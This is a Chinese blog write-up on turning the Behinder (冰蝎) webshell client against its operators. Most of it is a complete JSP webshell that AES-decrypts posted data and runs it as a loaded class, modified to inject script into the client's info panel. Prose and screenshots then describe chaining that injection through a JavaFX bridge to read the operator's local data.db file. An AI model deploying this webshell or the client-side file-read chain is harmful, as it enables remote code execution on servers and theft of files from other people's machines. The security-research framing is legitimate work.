起因

beichen发了个反制冰蝎的视频,想看看如何做到的。

寻找资料

群里师傅给我发了个冰蝎XSS的链接

http://www.lvyyevd.cn/archives/gei-ni-yi-ge-da-bi-dou-zi-zhi-bing-xie-xss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.NetworkInterface" %>
<%@ page import="java.net.InetAddress" %>
<%@ page import="java.net.Inet4Address" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.File" %>
<%@ page import="java.net.NetworkInterface" %>
<%@ page import="java.net.InetAddress" %>
<%@ page import="java.net.Inet4Address" %>
<%@ page import="javax.crypto.spec.SecretKeySpec" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%!class U extends ClassLoader{
U(ClassLoader c){super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}}
%>
<%!
Boolean isGetBaseinfo(byte[] mBaseData) {
byte[] src = new byte[]{98, 97, 115, 105, 99, 73, 110, 102, 111};
int i = 0;
while (i < mBaseData.length) {
if (mBaseData[i] == src[0]) {
for (int j = 0; j < 9; j = j + 1) {
if (mBaseData[i + j] == src[j] && j == 8) {
return true;
} else if (mBaseData[i + j] != src[j]) {
break;
}

}
i++;
} else {
i++;
}
}
return false;
}
%>
<%!
class Hbrynvsrja {
// public static String whatever;
private Object Request;
private Object Response;
private Object Session;
private String key;
private String xssFilepath;
private String xssData;

public Hbrynvsrja(String key,String xssFilepath,String xssData) {
this.key = key;
this.xssFilepath = xssFilepath;
this.xssData = xssData;
}

public String getData(Object obj) {
HashMap result = new HashMap();
boolean var22 = false;

Object so;
Method write;
label132: {
try {
var22 = true;
this.fillContext(obj);
StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
Map<String, String> env = System.getenv();
Iterator var5 = env.keySet().iterator();

while(var5.hasNext()) {
String name = (String)var5.next();
basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
}

basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
Properties props = System.getProperties();
Set<Map.Entry<Object, Object>> entrySet = props.entrySet();
Iterator var7 = entrySet.iterator();

while(var7.hasNext()) {
Map.Entry<Object, Object> entry = (Map.Entry)var7.next();
basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
}

String currentPath = (new File("")).getAbsolutePath();
String driveList = "";
File[] roots = File.listRoots();
File[] var10 = roots;
int var11 = roots.length;

for(int var12 = 0; var12 < var11; ++var12) {
File f = var10[var12];
driveList = driveList + f.getPath() + ";";
}

String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
Map<String, String> entity = new HashMap();
//xss设置
//xss设置
String content = "";
StringBuilder builder = new StringBuilder();
if (this.xssFilepath != "") {
File file = new File(this.xssFilepath);
InputStreamReader streamReader = new InputStreamReader(new FileInputStream(file), "UTF-8");
BufferedReader bufferedReader = new BufferedReader(streamReader);

while ((content = bufferedReader.readLine()) != null)
builder.append(content);
}else {
builder.append(this.xssData);
}
entity.put("basicInfo", builder.toString());
entity.put("currentPath", currentPath);
entity.put("driveList", driveList);
entity.put("osInfo", osInfo);
entity.put("arch", System.getProperty("os.arch"));
entity.put("localIp", this.getInnerIp());
result.put("status", "success");
result.put("msg", this.buildJson(entity, true));
var22 = false;
break label132;
} catch (Exception var26) {
var22 = false;
} finally {
if (var22) {
try {
return new String(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")),"UTF-8");
} catch (Exception var23) {
}

}
}

try {
return new String(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")),"UTF-8");
} catch (Exception var24) {
}

}

try {
return new String(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")),"UTF-8");
} catch (Exception var25) {
}

return "asd";
}

private String getInnerIp() {
String ips = "";

try {
Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces();
InetAddress ip = null;

while(netInterfaces.hasMoreElements()) {
NetworkInterface netInterface = (NetworkInterface)netInterfaces.nextElement();
Enumeration<InetAddress> addresses = netInterface.getInetAddresses();

while(addresses.hasMoreElements()) {
ip = (InetAddress)addresses.nextElement();
if (ip != null && ip instanceof Inet4Address) {
ips = ips + ip.getHostAddress() + " ";
}
}
}
} catch (Exception var6) {
}

ips = ips.replace("127.0.0.1", "").trim();
return ips;
}

private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();

while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}

sb.append(value);
sb.append("\",");
}

sb.setLength(sb.length() - 1);
sb.append("}");
return sb.toString();
}

private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");

Class Base64;
try {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}

return result;
}

private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}

this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}

private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];

for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}

return buf;
}

private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = this.key;
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);

Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}

return var6;
}
}
%>
<%
if (request.getMethod().equals("POST")) {

String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
byte[] data = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
if(isGetBaseinfo(data)){
//设置xss路径
String xssFilepath = "";
//xssdata
String xssdata = "<script>\n" +
" window.location.href = 'http://www.baidu.com';\n" +
"</script>";
Hbrynvsrja hbrynvsrja = new Hbrynvsrja(k,xssFilepath,xssdata);
String data2 = hbrynvsrja.getData(pageContext);
Object respones2 = pageContext.getClass().getMethod("getResponse").invoke(pageContext);
Object so = respones2.getClass().getMethod("getOutputStream").invoke(respones2);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, data2.getBytes("UTF-8"));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
}else {
new U(this.getClass().getClassLoader()).g(data).newInstance().equals(pageContext);
}
}%>

image-20230816200759827

确实复现出xss了,但是如何进一步RCE和文件读取呢?

webEngine.executeScript中执行的Javascript和在刚刚的baseinfo xss中执行的javascript有什么不一样的地方呢?

image-20230816200839667

查了一下JavaFx 和Javascript互动的资料,setMember后可以通过Javascript访问特定的Java方法

思路1

在主页面MainWindowController实在找不到利用方式。我先看看插件部分PluginViewController

sendHTTP的onSuccess回调方法:

image-20230817194226515

这里sendHTTP方法的onSuccess理论上能实现xss。

当xss之后,再通过js与Java交互调用本页面的 uploadFile 方法读取文件。

uploadFile 方法

image-20230817195609617

直接拼接

image-20230817195259491

现在需要找到控制message的地方,只要检测调用插件的sendHTTP方法的地方就单独修改响应包,改成xsspayload。

找了一下代码,发现他调用sendHTTP时,传的是Proxy类。

用它原有的方法改改

image-20230819090634520

他返回失败时候的内容为:

1
{"msg":"exception","status":"fail"}

image-20230818132530415

成功的时候为:

image-20230818133254598

1
{"msg":"SFRUUIG...","status":"success"}

其实就是base64而已,前端代码也只是base64 解码而已。

构造payload

image-20230819091108929

image-20230819091027424

总体效果为

基本信息可以做一个引导使用者点击扩展功能的页面。

image-20230819091825336

点发送

image-20230819092101254

成功读到data.db

image-20230819092141461

虽然成功反制,能读文件,但是是1click的,还不能RCE。

思路2

// todo